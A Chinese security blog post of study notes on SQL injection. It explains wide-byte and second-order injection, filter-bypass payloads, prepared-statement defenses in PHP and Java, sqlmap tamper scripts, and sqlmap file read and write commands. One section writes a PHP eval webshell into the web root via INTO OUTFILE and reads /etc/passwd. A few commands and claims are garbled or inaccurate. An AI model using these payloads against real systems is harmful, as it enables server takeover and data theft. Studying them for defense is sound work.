sql注入


1.类型

1.1宽字节注入

1.1.1原理

首先,一个字节为窄字节,两个字节为宽字节。

由于php开启了magicqoutes魔法函数,会将用户输入的特殊字符(包括单引号,双引号,空格等)前面加一个反斜杠来进行转义,

mysql的编码方式为GBK,众所周知这是一个中文编码方式,它会将第一个字节的ascll码大于128的两个字节解释为一个汉字,反斜杠的url编码是%5c,所以我们在特殊字符被转义的情况下进行注入的话,就可以在闭合符前面加上%dfascll码大于128的一个字节,这样mysql就会将%df%5c认为是一个汉字,后面的闭合符就会正常执行,从而绕过php的转义机制。

url?id=1%df' union select .......

1.1.2防御措施

mysql在接收到用户输入后,先调用mysql_set_charset函数设置连接使用的字符集为gbk,再调用mysql_real_escape_string函数对用户输入直接进行转义(该函数比addslashes函数更安全),该函数不会在闭合符前面添加反斜杠来进行转义,而是会把%df加闭合符直接编码为一个汉字,这样用户输入的闭合符就消失了。

1.2二次注入

顾名思义,即利用第一次攻击者构造的sql数据在第二次sql语句执行中造成注入。

二次注入的根源在于,开发者信任数据库中取出的数据是无害的,sql语句在调用数据库中的数据时发生了注入。

insert into wp_user values(2,'admin\' or \'1','some_pass'); #插入username为admin' or '1,password为some_pass的数据
此时数据库中有两条数据
id    |   username    |  password
1         admin           passwd
2        admin'or '1     some_pass
<?php
    $res=mysqli_query($conn,"select username from wp_user where id=2");
	$row = mysqli_fetch_array($res);
	$name = $row["username"];
    $res=mysqli_query($conn,"select password from wp_user where username='$name'");
?>

则最后执行的sql语句为

select password from wp_user where username='admin' or '1';
则返回的是passwd,而不是some_pass

select password from wp_user where username='admin' group by 22,'1';

2.绕过方式

大小写绕过、双写绕过、%09空格绕过、注释绕过、反斜杠绕过。

//过滤对应的绕过方式
str_replace(" ","",$sql);   //过滤空格,将空格用%09代替
"\bselect\b"   //正则匹配关键字,用/*!50000select*/注释绕过,意为mysql5.0以上版本会执行注释里的sql语句。
$sql="select * from wp_news where id='可控1' and title='可控2'";  //若替换了引号,则利用反斜杠将引号转义
绕过:可控1=a\  可控2=or sleep(1)# ===>$sql="select * from wp_news where id='a\' and title=' or sleep(1)#'"

若对单引号进行了转义,可以使用宽字节注入(在单双引号前面加%df),或者使用addslashed函数对输入的字符串进行编码,这样其中的特殊字符就不会被转义。

3.防御

3.1 sql语句预编译

3.1.1 php预编译

<?php
// 创建 MySQLi 连接
$mysqli = new mysqli("localhost", "username", "password", "database_name");

// 检查连接
if ($mysqli->connect_error) {
    die("Connection failed: " . $mysqli->connect_error);
}

// 预编译查询语句
$stmt = $mysqli->prepare("SELECT * FROM users WHERE username = ? AND age = ?");

// 绑定参数:'s' 表示字符串类型,'i' 表示整数类型
$username = 'john_doe';
$age = 25;
$stmt->bind_param("si", $username, $age);

// 执行查询
$stmt->execute();

// 获取查询结果
$result = $stmt->get_result();

// 输出结果
while ($row = $result->fetch_assoc()) {
    echo $row['id'] . " - " . $row['username'] . "<br>";
}

// 关闭语句和连接
$stmt->close();
$mysqli->close();
?>

3.1.2 java预编译

import java.sql.*;

public class JdbcExample {
    public static void main(String[] args) {
        // 数据库连接信息
        String url = "jdbc:mysql://localhost:3306/your_database";
        String user = "your_username";
        String password = "your_password";

        // 数据库连接、PreparedStatement 和结果集
        Connection conn = null;
        PreparedStatement pstmt = null;
        ResultSet rs = null;

        try {
            // 1. 加载 JDBC 驱动
            Class.forName("com.mysql.cj.jdbc.Driver");

            // 2. 获取数据库连接
            conn = DriverManager.getConnection(url, user, password);

            // 3. 创建预编译查询语句
            String sql = "SELECT * FROM users WHERE username = ? AND age = ?";
            pstmt = conn.prepareStatement(sql);

            // 4. 设置参数
            pstmt.setString(1, "john_doe");  // 第一个问号绑定值
            pstmt.setInt(2, 25);              // 第二个问号绑定值

            // 5. 执行查询
            rs = pstmt.executeQuery();

            // 6. 处理结果集
            while (rs.next()) {
                int id = rs.getInt("id");
                String username = rs.getString("username");
                int age = rs.getInt("age");
                System.out.println(id + " - " + username + " - " + age);
            }
        } catch (SQLException | ClassNotFoundException e) {
            e.printStackTrace();
        } finally {
            // 7. 关闭资源
            try {
                if (rs != null) {
                    rs.close();
                }
                if (pstmt != null) {
                    pstmt.close();
                }
                if (conn != null) {
                    conn.close();
                }
            } catch (SQLException e) {
                e.printStackTrace();
            }
        }
    }
}

4. 利用

select "<?php @eval($_POST['cmd']); ?>" into outfile '/var/www/html/shell.php'  #into outfile 写文件
select "<?php @eval($_POST['cmd']); ?>" dumpfile '/var/www/html/shell.php'  # dumpfile 写文件
select load_file('/etc/passwd')    # load_file()读文件
SQL_Server 数据库中可以直接执行系统命令

5.SQLmap绕过

 --tamper=xxxx
apostrophemadk  # 绕过单引号
space2comment  #将空格替换为 /**/ 注释
base64encode   # base64编码
multiplespaces  #多个空格绕过
space2plus  #空格替换为加号
space2hash  # 将空格替换为哈希字符
space2mssqlblank    #空格替换为 MSSQL 注释
space2randomblank  #随机替换空格,增加检测难度
tamper=charencode   # 将 SQL 关键字转为 ASCII 编码
between		# 将 = 变为 BETWEEN。
like   		# 将 = 变为 LIKE
randomcase   # 随机改变 SQL 关键字的大小写
unionalltounion    #将 UNION ALL 替换为 UNION,绕过检测
tamper=securesphere   #绕过 Barracuda WAF

6.其他

sudo mysql -e '\! <command>'   #mysql执行命令
mysql -r post.txt --file-read "/flag" --dbms mysql --batch  #sqlmap读文件
sqlmap -u "http://example.com/vuln.php?id=1" --file-write="D:/Desktop/tools/testflag.php" --file-dest="/var/www/html/shell.php"   #sqlmap写文件

文章作者: 0x00dream
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 0x00dream !
  目录